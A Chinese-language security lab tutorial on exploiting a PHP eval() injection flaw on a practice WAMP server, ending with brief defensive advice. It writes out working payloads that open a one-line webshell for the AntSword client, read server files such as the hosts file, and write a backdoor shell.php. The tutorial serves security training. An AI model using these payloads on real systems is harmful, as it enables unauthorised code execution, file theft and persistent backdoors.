目录
1 实验简介
1.1 实验目的
- 了解PHP漏洞的危害;
- 掌握PHP漏洞的利用方法。
1.2 实验环境
- 靶机:win2008虚拟机,部署WAMP环境,虚拟机系统安装及WAMP部署方法参考文章《win2008R2SP1+WAMP环境部署》。在网站根目录下创建phptest.php文件,该文件代码存在eval()函数漏洞,详细代码参考文章《PHP语言常见可注入函数》。
- 真实机:win10系统,安装中国蚁剑软件。
2 实验内容
2.1 实验一:直接获取shell
- 当访问存在eval函数漏洞的网址时,提交参数为
?code=@eval($_POST[1]);
,即可构成一句话木马,密码为1,建议配合中国蚁剑使用。 - 运行中国蚁剑,在界面空白处点击右键,点击添加数据。
- 填写参数如下,其中URL中要注意语句结尾应有分号。填写后点击提交。
- 提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息。
2.2 实验二:获取当前文件的绝对路径。
当访问存在eval函数漏洞的网址时,提交参数为?code=print(__FILE__);
即可获取当前网页的绝对路径,其他漏洞依次类推。
2.3 实验三:读文件
- 前提:(1)目标文件路径;(2)读取权限。
- 方法:利用file_get_contents()函数读取服务器文件。
- 例子:要读取服务器的hosts文件,传入参数
?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));
,即可将目标文件内容显示在页面上。
2.4 实验四:写文件
- 前提:具备文件夹的写入权限。
- 方法:利用file_put_contents()函数写入服务器文件,该函数的作用在于将第二个参数作为内容写入到第一个参数的文件中。
- 例子:传入参数
?code=file_put_contents($_POST[1],$_POST[2]);
,同时利用BurpSuite工具截取请求,修改请求为POST类型并在右侧添加POST参数内容,参数1值为shell.php
,参数2值为<?php eval($_POST['ant']); ?>
,表示在当前目录下创建文件shell.php,并写入一个后门。
- 点击send后,在服务器目录下,可以看到生成了shell.php文件。
- 使用蚁剑访问刚刚写入的后门文件,按以下填写参数,并点击添加。
- 双击新添加的数据,即可管理靶机。
3 防御
- 尽量不要使用eval()等函数,如需使用则一定要进行严格的过滤;
- preg_replace放弃使用/e修饰符;
- 在php.ini文件中,将assert等函数禁用掉,如
disable_functions = assert
。
4 总结
- 获取网站相关的信息利用PHP漏洞;获取数据库相关内容利用SQL注入漏洞。
- 掌握漏洞验证及利用的过程。
- 掌握利用漏洞读写文件及建立后门的过程。